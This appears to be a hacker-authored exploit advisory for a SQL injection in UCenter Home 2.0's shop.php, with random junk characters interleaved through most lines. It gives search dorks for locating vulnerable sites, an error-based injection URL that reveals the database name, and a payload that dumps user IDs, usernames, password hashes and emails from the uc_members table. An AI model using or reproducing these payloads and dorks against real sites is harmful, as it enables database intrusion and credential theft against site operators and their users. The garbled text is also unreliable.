: k& \' ~0 J. b7 k
__--==UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability==--__
5 I c0 l# W. P+ I& b; V+ l
" U0 n) e1 p _8 A7 i$ q' z( y" ~ $ t; T; A1 P$ E" e9 V3 n& t
" t! T3 i% p; k3 H$ D# w*/ Author : KnocKout
, w; U h. a8 L* f2 |. Z5 b- o$ N5 g
- F. t, U. V! t9 Q5 A1 q8 p*/ Greatz : DaiMon,BARCOD3,RiskY and iranian hackers * ?- a5 ?* E! P1 v
( {. J% y- `* |. z& Q% \
*/ Contact: knockoutr@msn.com
$ Q+ |) k( N4 @5 }; z, N" C# K& r U
*/ Cyber-Warrior.org/CWKnocKout
# o- O* a5 X; L$ @3 k) Z" @4 _: _
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
: Q. H# z# V; P3 \: Y/ h0 J
9 g, ^: j; H" O+ u: H4 iScript : UCenter Home
0 Q$ U {* j6 Y( u
. z/ |) I- {5 h1 w, R- kVersion : 2.0
8 i4 F; Q: c! W& `7 G7 ^4 r6 g% [; h# ?" n
Script HomePage : http://u.discuz.net/
0 o& T, L' v" W; \0 x1 }! T, e
; t. h! E& A& S__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== 6 T0 i$ d( F$ z4 M, m
9 K) k% Q& @1 }
Dork : Powered by UCenter inurl:shop.php?ac=view G. l; x; A" q# O9 W% r+ b$ d* L5 V
5 n5 c% Z3 o; q" S! z G) WDork 2 : inurl:shop.php?ac=view&shopid= * C$ I! d6 R9 W1 F u
3 j3 K' x4 v0 K# [__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== - ?$ N7 T0 L/ `7 c. K* m; c% u' o7 J
5 Q9 C& L, R1 H+ G2 J7 KVuln file : Shop.php
- o% V2 ~9 G" I; |1 \/ _5 g! N2 d* W2 S, A2 c" X* j0 b
value's : (?)ac=view&shopid= 9 j* l9 E0 o$ I$ w% ?5 d/ ]
, z7 t8 l3 r6 q2 Q+ [3 f8 l
Vulnerable Style : SQL Injection (MySQL Error Based) & h+ o+ x- e( U
# B9 d# c( a' d$ k' I; M$ YNeed Metarials : Hex Conversion
+ R* g8 S8 R- ^, t! @
8 O4 z4 t+ v5 t__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
& w3 E0 q9 o& N/ c7 F; f
0 E. g. p9 E }' U+ RYour Need victim Database name. ) i4 o' Q6 y9 |+ T) G; p0 g
. ?2 N( T7 ^' l
for Inject : http://server/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 " M7 T) T( Y/ @
$ p* n' ? [! W..
1 ^8 O2 n/ Y$ ?1 M6 v F( x# t( {/ U5 }% v" e' W
DB : Okey. ( Y- P- N' H+ r6 Q2 M' J# I
* N2 F. @* ~' ryour edit DB `[TARGET DB NAME]` 8 c6 d% Q5 @$ O0 _& _
! g, W6 k! A/ C* H. R; M# f
Example : 'hiwir1_ucenter'
" V9 O6 A% H; A/ C- _2 K
( O3 Q! c; Y& \& AEdit : Okey. ) G5 W* M5 z, C5 g! R# \4 S3 `: c
6 ^: \3 s1 B! r: p4 f
Your use Hex conversion. And edit Your SQL Injection Exploit.. ( U* g4 b6 H7 M# o/ ]0 i
6 v: u9 x+ L3 a" ?% ^7 H5 F' m( ] : e/ f: Y1 L% _3 B
& N3 {2 W" d+ S* f7 ?% k
Exploit Code : http://server/shop.php?ac=view&shopid=253 253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
% \* c G2 S' c& R4 k |